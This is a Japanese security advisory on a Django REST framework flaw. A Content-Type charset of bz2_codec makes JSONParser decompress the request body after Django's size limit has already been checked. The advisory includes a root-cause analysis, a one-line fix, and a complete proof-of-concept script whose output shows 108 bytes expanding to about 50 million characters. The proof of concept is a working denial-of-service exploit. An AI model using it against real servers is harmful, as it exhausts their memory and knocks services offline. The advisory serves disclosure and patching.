Django REST framework: JSONParserは、攻撃者が指定したコーデックをリクエストストリームに適用する

### 概要

認証されていない攻撃者は、Djangoの`DATA_UPLOAD_MAX_MEMORY_SIZE`の制限を回避し、
Content-Typeのcharsetパラメータで圧縮コーデックを指定することで、
ワーカープロセスに任意のメモリを割り当てさせることができます。
108バイトのリクエストボディが、ビュー内で50,331,648文字の値を生成し、
その倍率が466,033となり、プロセスのピークRSSメモリ使用量が約97 MiB増加します。
DRFのデフォルトパーサー設定以外のアプリケーション設定は不要で、
エンドポイントはJSON形式のリクエストボディを受け入れる必要があります。

### 詳細

`JSONParser.parse`は、リクエストボディを、Content-Typeヘッダーでクライアントが指定したcharsetを使用してデコードします。

```python
# rest_framework/parsers.py
encoding = parser_context.get('encoding', settings.DEFAULT_CHARSET)
try:
decoded_stream = codecs.getreader(encoding)(stream)
parse_constant = json.strict_constant if self.strict else None
return json.load(decoded_stream, parse_constant=parse_constant)
except ValueError as exc:
raise ParseError('JSON parse error - %s' % str(exc))
```

CPython 3.14で`codecs.lookup`が解決する約455のコーデック名のうち、約18個は文字セットではなく、
バイト変換です。例えば、`bz2_codec`、`zlib_codec`、`base64_codec`、`hex_codec`、`quopri_codec`、
`uu_codec`などがあります。`codecs.getreader`は、`codecs`モジュール内で`CodecInfo._is_text_encoding`を
参照しない唯一のエントリポイントであり、そのため、これらすべてを受け入れます。
`Content-Type: application/json; charset=bz2_codec`を送信すると、
`json.load`が読み込む前に、リクエストストリームがbz2デコンプレッサーでラップされます。

この脆弱性が存在する理由は、処理の順序にあります。Djangoは、`DATA_UPLOAD_MAX_MEMORY_SIZE`を、
ネットワーク経由で受信したバイト数に基づいて適用します。`rest_framework/request.py`が`JSONParser`に
`io.BytesIO(self.body)`を渡し、`HttpRequest.body`で`_check_data_too_big()`が実行されます。
デコンプレッションは、その後、パーサー内で実行され、その際にメモリ使用量はカウントされません。

これはDRFのバグであり、Djangoのバグではありません。Djangoは`charset`パラメータを解決し、`request.encoding`を割り当てますが、`codecs.lookup`はバイト変換を解決しますが、`request.encoding`を使用するすべてのDjangoのコンポーネントがテキストコーデックAPIを経由し、エラーが発生します。`bytes.decode('bz2_codec')`と`str(raw, 'bz2_codec')`の両方が、`LookupError: 'bz2_codec' is not a text encoding; use codecs.decode() to handle arbitrary codecs`というエラーを発生させます。DRFだけが、リクエストストリームを`codecs.getreader`に渡しています。

`FormParser`(`parsers.py:84行目)と`MultiPartParser`(`parsers.py:104-118行目)は、クライアントが指定したエンコーディングを受け取りますが、エラーが発生するだけで、問題を拡大させません。

この問題は、`9a228116`(プルリクエスト#5147、2017年5月24日、「大きなJSONリクエストを読み込む際のメモリ使用量を改善」)によって導入され、3.6.4で初めてリリースされました。そのプルリクエストの最後のコメントでは、意図されたメモリ削減効果が得られないと指摘されています。これは、`read()`がストリーム全体をデコードするためであり、このデコードが無限にメモリを消費する原因となっています。それ以来、`_is_text_encoding`のチェックは追加されていません。

`parsers.py:61-64行目`に、以下の修正を1行追加することで解決できます。

```python
if not codecs.lookup(encoding)._is_text_encoding:
raise ParseError('Unsupported charset in Content-Type')
```

### 動作確認用コード

`poc_charset_amplification.py`という名前で保存し、実行してください。このコードは独自のペイロードを生成し、各テストを新しいサブプロセスで実行します(ピークRSSは最大値を示すため、複数のテストを1つのプロセスで実行すると、最初のテスト以降はすべてのテストでほぼゼロの増加しか報告されません)。そして、結果を出力します。

```python
#!/usr/bin/env python
"""
django-rest-framework: JSONParserは、攻撃者が指定したコーデックをリクエストストリームに適用し、DATA_UPLOAD_MAX_MEMORY_SIZEを回避します。

4つのテストがあり、それぞれが新しいサブプロセスで実行されます。これは、ピークRSSが最大値を示すため、複数のテストを1つのプロセスで実行すると、最初のテスト以降はすべてのテストでほぼゼロの増加しか報告されないためです。
```

T ~108バイトのbz2形式のデータ、Content-Type: application/json; charset=bz2_codec
C1 48 MiBのプレーンテキスト、Content-Type: application/json (文字コード指定なし)
C2 Tと同じバイト列を持つデータ、charset=utf-8
C3 zlib形式のデータ、charset=zlib_codec

検証対象は、TとC1とC2の組み合わせです。C1は、サイズ制限が有効であることを証明し、C2は、データの内容ではなく、コーデック名が拡張を引き起こすことを証明します。

必要なもの:django、djangorestframeworkがインストールされていること。引数なし、編集する必要はありません。
python poc_charset_amplification.py
終了ステータスが0の場合、すべてのテストがアドバイザリに記載されている通りに動作したことを意味します。
"""
import hashlib
import json
import os
import subprocess
import sys
import tempfile

PAYLOAD_CHARS = 48 * 1024 * 1024
PAYLOAD_DIR = os.path.join(tempfile.gettempdir(), "drf-charset-amp")
LIMIT = 65536

ARMS = {
"T": ("bz2.bin", "application/json; charset=bz2_codec"),
"C1": ("plain.bin", "application/json"),
"C2": ("bz2.bin", "application/json; charset=utf-8"),
"C3": ("zlib.bin", "application/json; charset=zlib_codec"),
}
EXPECTED = {
"T": "HTTP 200, 解析された値が送信されたバイト列よりも桁違いに大きい",
"C1": "RequestDataTooBigエラーで拒否される、ビューの処理は実行されない",
"C2": "バイト列が同一の圧縮データに対してHTTP 400 ParseErrorが発生する",
"C3": "異なるコーデック名を使用した場合でも、同じように拡張される",
}
VIEW_RAN = []

def build_payloads():
import bz2
import zlib

os.makedirs(PAYLOAD_DIR, exist_ok=True)
plain = b'{"a":"' + b"A" * PAYLOAD_CHARS + b'"}'
blobs = {
"plain.bin": plain,
"bz2.bin": bz2.compress(plain, 9),
"zlib.bin": zlib.compress(plain, 9),
}
for name, blob in blobs.items():
with open(os.path.join(PAYLOAD_DIR, name), "wb") as fh:
fh.write(blob)
return {name: len(blob) for name, blob in blobs.items()}

def configure_django():
from django.conf import settings

settings.configure(
DEBUG=False,
ALLOWED_HOSTS=["testserver"],
SECRET_KEY="poc",
ROOT_URLCONF=__name__,
MIDDLEWARE=[],
INSTALLED_APPS=[
"django.contrib.contenttypes",
"django.contrib.auth",
"rest_framework",
],
DATABASES={
"default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"}
},
DEFAULT_CHARSET="utf-8",
DATA_UPLOAD_MAX_MEMORY_SIZE=LIMIT,
LOGGING_CONFIG=None,
USE_TZ=True,
)
import django

django.setup()

def build_view():
from rest_framework.response import Response
from rest_framework.views import APIView

class Echo(APIView):
authentication_classes = []
permission_classes = []

def post(self, request):
data = request.data
VIEW_RAN.append(True)
value = data.get("a") if isinstance(data, dict) else None
return Response(
{"parsed_value_len": len(value) if isinstance(value, str) else None}
)

return Echo

def __getattr__(name):
# ROOT_URLCONF はこのモジュールを指します。urlpatterns を遅延ロードします。
if name == "urlpatterns":
from django.urls import path

value = [path("x", build_view().as_view())]
globals()["urlpatterns"] = value
return value
raise AttributeError(name)

def peak_rss_kib():
"""このプロセスの最大メモリ使用量。/proc を利用可能な場合は使用します。
ru_maxrss は、すべてのカーネルで呼び出し元のプロセスを追跡するわけではありません。"""
try:
with open("/proc/self/status") as fh:
for line in fh:
if line.startswith("VmHWM:"):
return int(line.split(":")[1].strip().split()[0])
except OSError:
pass
import resource

return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss

```
def run_arm(arm):
payload_name, content_type = ARMS[arm]
with open(os.path.join(PAYLOAD_DIR, payload_name), "rb") as fh:
body = fh.read()

configure_django()
from django.test import Client, RequestFactory

client = Client(raise_request_exception=False)
# 遅延ロードされるすべてのモジュールを事前に読み込み、デルタがリクエストのみを測定するようにする。
client.generic("POST", "/x", data=b'{"a":"A"}', content_type="application/json")
VIEW_RAN.clear()

before = peak_rss_kib()
response = client.generic("POST", "/x", data=body, content_type=content_type)
after = peak_rss_kib()

parsed_len = None
if response.status_code == 200:
try:
parsed_len = json.loads(response.content).get("parsed_value_len")
except ValueError:
pass

# 2回目の読み込みは、例外クラスがステータスコードから推測されるのではなく、直接見えるように、単純なRequestFactoryを使用する。
request = RequestFactory().generic(
"POST", "/x", data=body, content_type=content_type
)
try:
direct = {"status_code": build_view().as_view()(request).status_code}
except BaseException as exc: # noqa: BLE001 - クラス名を明示的に記述することが目的
direct = {"exception": f"{type(exc).__module__}.{type(exc).__name__}"}

return {
"arm": arm,
"content_type": content_type,
"transmitted_bytes": len(body),
"body_sha256": hashlib.sha256(body).hexdigest(),
"status_code": response.status_code,
"view_body_executed": bool(VIEW_RAN),
"parsed_value_len": parsed_len,
"amplification_ratio": round(parsed_len / len(body), 1) if parsed_len else None,
"peak_rss_delta_mib": round((after - before) / 1024.0, 1),
"direct_dispatch": direct,
}
```

```python
def check(arm, r):
if arm in ("T", "C3"):
return (
r["status_code"] == 200
and r["view_body_executed"]
and r["parsed_value_len"] == PAYLOAD_CHARS
and r["amplification_ratio"] >= 700
)
if arm == "C1":
return (
r["status_code"] != 200
and not r["view_body_executed"]
and r["direct_dispatch"].get("exception")
== "django.core.exceptions.RequestDataTooBig"
)
if arm == "C2":
return r["status_code"] == 400 and not r["view_body_executed"]
raise AssertionError(arm)

def main():
if "--arm" in sys.argv:
print(json.dumps(run_arm(sys.argv[sys.argv.index("--arm") + 1])))
return 0

sizes = build_payloads()
print(f"# ペイロードのサイズ: {sizes}")
print(f"# DATA_UPLOAD_MAX_MEMORY_SIZE = {LIMIT}")
print(f"# テスト対象のJSON文字列の長さ: {PAYLOAD_CHARS} 文字\n")

ok = True
results = {}
for arm in ("T", "C1", "C2", "C3"):
proc = subprocess.run(
[sys.executable, os.path.abspath(__file__), "--arm", arm],
capture_output=True,
text=True,
)
if proc.returncode != 0:
print(f"{arm}: テストが失敗しました\n{proc.stderr}")
return 2
r = json.loads(proc.stdout.strip().splitlines()[-1])
results[arm] = r
passed = check(arm, r)
ok = ok and passed
print(f"=== {arm} [{'期待通り' if passed else '期待通りではない'}]")
print(f" 期待される結果: {EXPECTED[arm]}")
print(json.dumps(r, indent=6))
print()
```

```
print("=== サマリー")
for arm, r in results.items():
print(
f" {arm:3} wire={r['transmitted_bytes']:>9}B status={r['status_code']} "
f"parsed_len={r['parsed_value_len']} ratio={r['amplification_ratio']} "
f"peak_rss_delta={r['peak_rss_delta_mib']} MiB view_ran={r['view_body_executed']}"
)
print(f"\n T および C1 および C2: {'すべて正常' if ok else 'すべて正常ではない'}")
return 0 if ok else 1

if __name__ == "__main__":
sys.exit(main())
```

出力例(サマリー部分を省略):

```
# ペイロードサイズ: {'plain.bin': 50331656, 'bz2.bin': 108, 'zlib.bin': 48941}
# DATA_UPLOAD_MAX_MEMORY_SIZE = 65536
# テスト対象のJSON文字列の長さ: 50331648 文字

=== サマリー
T wire= 108B status=200 parsed_len=50331648 ratio=466033.8 peak_rss_delta=96.8 MiB view_ran=True
C1 wire= 50331656B status=400 parsed_len=None ratio=None peak_rss_delta=48.3 MiB view_ran=False
C2 wire= 108B status=400 parsed_len=None ratio=None peak_rss_delta=0.0 MiB view_ran=False
C3 wire= 48941B status=200 parsed_len=50331648 ratio=1028.4 peak_rss_delta=95.2 MiB view_ran=True

T および C1 および C2: すべて正常
```

C1 は、サイズ制限が有効で設定されていることを示しており、T の 200 は、制限が回避されたことを意味し、単に制限が存在しないわけではありません。 C1 は、クライアントが 48 MiB のデータを送信する前に制限に達し、そのデータがクライアント側で処理されるため、RSS の増加を報告します。この処理は、サーバー側の処理には到達しません。 C2 は、最も大きな負荷を担っており、そのデータは T とバイト単位で同一ですが、コーデック名のみが異なります。 RSS の数値は、実行ごとに数 MiB 程度異なります。

Django 5.2.17 LTS で、すべての 4 つのテストケースを実行した結果、109 バイトのデータが 50,331,648 文字(461,758 倍)のデータとして送信され、C1 と C2 の両方が正常に動作しました。

もしご自身でリクエストを再実装される場合は、`Client.generic()` または `RequestFactory().generic()` を使用してください。 `Client.post()` と `RequestFactory.post()` の両方とも、`force_bytes(data, encoding=<charset>)` (django/test/client.py:438-447) を介してボディを処理しますが、これにより、パーサーがデータを見る前に、圧縮されたペイロードが破壊されてしまいます。

### 影響

認証されていない、メモリ増幅によるサービス拒否攻撃が発生する可能性があります。これは、デフォルトのパーサーを使用するすべてのエンドポイントに対して発生します。 3.6.4 以降のすべてのバージョンが影響を受けますが、アプリケーションコードや設定の選択によって、この問題を引き起こすことはありません。 メモリはリクエストごとに割り当てられ、その後解放されるため、この問題は可用性のみに基づいて評価されており、重大度としては「クリティカル」には該当しません。 しかし、増幅の度合いが大きいため、少数の同時リクエストでワーカーがリソースを使い果たしてしまう可能性があります。 数百バイトのデータが、数百メガバイトのメモリを割り当て、DRFまたはDjangoには、この拡張されるサイズを制限する機能はありません。

影響を受けるパッケージ:
- pip (Python) djangorestframework: 影響を受けるバージョンは 3.6.4 以降、3.18.2 未満。 3.18.2 で修正されています。